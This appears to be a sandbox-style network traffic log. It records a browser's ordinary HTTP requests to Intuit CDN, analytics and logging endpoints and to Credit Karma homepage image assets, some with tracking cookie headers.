Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/vendors~o11y-rum-web-vitals.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/vendors~o11y-rum-web-interface.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@appfabric/pubsub/3.1.2/pubsub.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@appfabric/ui-profiler/3.3.2/ui-profiler.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@appfabric/intuit-analytics/0.0.14/intuit-analytics.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/?ivid=49283062-d309-414a-8948-62720df8cfad HTTP/1.1Host: intuitvisitorid.api.intuit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ivid=49283062-d309-414a-8948-62720df8cfad; interests_l2=""; priorityCode=3468337910; AKES_GEO=US~NJ; _abck=4F2FA7CC61A129ADEFBBDAAD182D3879~-1~YAAQIShDF0zcACKRAQAAiXQgOAynvBOptWzwN7Wn4mu+nAPpoNEJutvQbxGvV1Q5xHn+0l1a/ecTyNCShtFkuAisxOjEun16gdOWijiQf/SA7MFBujldy2ubl0SFg/ITMHf3o7ziQ7tlLl9FHtNar1QSoavHBxK7NJtQBVy84kPLV+pJH9DKhGE8R+gB8AkX2+W9o1QY5stlHFCW2Uhgn77odYaH2MPx0sYrVv6mnY7aeobPfW6iAvWaakCyZAxEVbCbflVSHtRc1Fqn+HF+GryhpuX1aK2vtN18RwtSjDfkQfUoGiJUQkG4xv6PAOx5OWm7yNB3Rd/EB8aNmtjok9XvQ3wKGwzB5xcbiCPMXvNublNJrh1nMAe4eIk=~-1~-1~-1; bm_sz=5D11FB93F6C0E749F560E18E0910CD49~YAAQIShDF03cACKRAQAAiXQgOBhUUP6I20WZeEqlF1daTuzdVZvXF5OCLF+4pjt1PcBKf/WUgAJtJst++TVpPU4Bb+FpKEntag2O7KxGJz1IMLcP1BE+leDneEVo59D1A6XAKZRSb1neTl/fDxd2COK7bfcsj775qtFN+7vStw/kxT4ZtsguB2AYKRIjJhm83WH4JPnfi/Ya88PF1+39CamRo2IlNPsq8cOBtXI2KV0Ha2siCWxKAFazR7IlF2/foQe48dNYu/gDjUfEmysI2Jm2cNjAC5fk6TbQmhXWc8hEgD8N2B8jRIUbra+3O4vJF9Usg3/RAlm9hdbFm57ooo+bqDaQvA0MOW/n3tR8KRaqBMkfMJ+gnYxCOPGNd/z8AheI~3748918~3491140; ccpa=1\|1; cpra=1\|1; AMCVS_969430F0543F253D0A4C98C6%40AdobeOrg=1; s_ecid=MCMID%7C68569137705076607901148907403368398402; AMCV_969430F0543F253D0A4C98C6%40AdobeOrg=-2121179033%7CMCIDTS%7C19945%7CMCMID%7C68569137705076607901148907403368398402%7CMCAAMLH-1723828346%7C6%7CMCAAMB-1723828346%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1723230748s%7CNONE%7CMCAID%7CNONE%7CvVersion%7C5.3.0; pageProperties=$turbotax.intuit.com$homepage$turbotax.intuit.com$cg\|mktg\|turbotax\|homepage\|homepage$; ajs_anonymous_id=49283062-d309-414a-8948-62720df8cfad; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Aug+09+2024+13%3A12%3A35+GMT-0400+(Eastern+Daylight+Time)&version=202404.1.0&browserGpcFlag=0&isIABGlobal=false&hosts=&landingPath=https%3A%2F%2Fturbotax.intuit.com%2F&groups=1%3A1%2C4%3A1; kndctr_969430F0543F253D0A4C98C6_AdobeOrg_cluster=irl1; kndctr_969430F0543F253D0A4C98C6_AdobeOrg_identity=CiY2ODU2OTEzNzcwNTA3NjYwNzkwMTE0ODkwNzQwMzM2ODM5ODQwMlIRCNaNg8GTMhgBKgRJUkwxMAPwAdaNg8GTMg==
Source: global traffic	HTTP traffic detected: GET /@appfabric/web-shell-core/9.70.3/BaseWidget.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/591.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/vendors~o11y-rum-gzip-transformer.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/vendors~o11y-rum-web-window-perf.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/vendors~o11y-rum-web-vitals.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/vendors~o11y-rum-web-exporter.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/vendors~o11y-rum-web-interface.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/vendors~o11y-rum-gzip-transformer.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/591.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: creditkarma.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/log/message HTTP/1.1Host: logging.api.intuit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ivid=49283062-d309-414a-8948-62720df8cfad; interests_l2=""; priorityCode=3468337910; AKES_GEO=US~NJ; _abck=4F2FA7CC61A129ADEFBBDAAD182D3879~-1~YAAQIShDF0zcACKRAQAAiXQgOAynvBOptWzwN7Wn4mu+nAPpoNEJutvQbxGvV1Q5xHn+0l1a/ecTyNCShtFkuAisxOjEun16gdOWijiQf/SA7MFBujldy2ubl0SFg/ITMHf3o7ziQ7tlLl9FHtNar1QSoavHBxK7NJtQBVy84kPLV+pJH9DKhGE8R+gB8AkX2+W9o1QY5stlHFCW2Uhgn77odYaH2MPx0sYrVv6mnY7aeobPfW6iAvWaakCyZAxEVbCbflVSHtRc1Fqn+HF+GryhpuX1aK2vtN18RwtSjDfkQfUoGiJUQkG4xv6PAOx5OWm7yNB3Rd/EB8aNmtjok9XvQ3wKGwzB5xcbiCPMXvNublNJrh1nMAe4eIk=~-1~-1~-1; bm_sz=5D11FB93F6C0E749F560E18E0910CD49~YAAQIShDF03cACKRAQAAiXQgOBhUUP6I20WZeEqlF1daTuzdVZvXF5OCLF+4pjt1PcBKf/WUgAJtJst++TVpPU4Bb+FpKEntag2O7KxGJz1IMLcP1BE+leDneEVo59D1A6XAKZRSb1neTl/fDxd2COK7bfcsj775qtFN+7vStw/kxT4ZtsguB2AYKRIjJhm83WH4JPnfi/Ya88PF1+39CamRo2IlNPsq8cOBtXI2KV0Ha2siCWxKAFazR7IlF2/foQe48dNYu/gDjUfEmysI2Jm2cNjAC5fk6TbQmhXWc8hEgD8N2B8jRIUbra+3O4vJF9Usg3/RAlm9hdbFm57ooo+bqDaQvA0MOW/n3tR8KRaqBMkfMJ+gnYxCOPGNd/z8AheI~3748918~3491140; ccpa=1\|1; cpra=1\|1; AMCVS_969430F0543F253D0A4C98C6%40AdobeOrg=1; s_ecid=MCMID%7C68569137705076607901148907403368398402; AMCV_969430F0543F253D0A4C98C6%40AdobeOrg=-2121179033%7CMCIDTS%7C19945%7CMCMID%7C68569137705076607901148907403368398402%7CMCAAMLH-1723828346%7C6%7CMCAAMB-1723828346%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1723230748s%7CNONE%7CMCAID%7CNONE%7CvVersion%7C5.3.0; ajs_anonymous_id=49283062-d309-414a-8948-62720df8cfad; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Aug+09+2024+13%3A12%3A35+GMT-0400+(Eastern+Daylight+Time)&version=202404.1.0&browserGpcFlag=0&isIABGlobal=false&hosts=&landingPath=https%3A%2F%2Fturbotax.intuit.com%2F&groups=1%3A1%2C4%3A1; kndctr_969430F0543F253D0A4C98C6_AdobeOrg_cluster=irl1; kndctr_969430F0543F253D0A4C98C6_AdobeOrg_identity=CiY2ODU2OTEzNzcwNTA3NjYwNzkwMTE0ODkwNzQwMzM2ODM5ODQwMlIRCNaNg8GTMhgBKgRJUkwxMAPwAdaNg8GTMg==; pageProperties=$turbotax.intuit.com$/$turbotax.intuit.com$cg\|mktg\|turbotax\|\|/$
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Loans@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Credit_Card@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Credit_Score@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/karmaConfidence/hero/CC+PL_DESKTOP_3x.png?auto=format HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Accounts@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Savings@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Home@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Auto@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Accounts@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Credit_Score@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Credit_Card@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Loans@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Savings@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/karmaConfidence/hero/CC+PL_DESKTOP_3x.png?auto=format HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Home@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/swimlane/Auto@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/benefitPillar/Credit_Monitoring@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/benefitPillar/Insights@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/benefitPillar/Better_Decision@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/benefitPillar/Lock@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
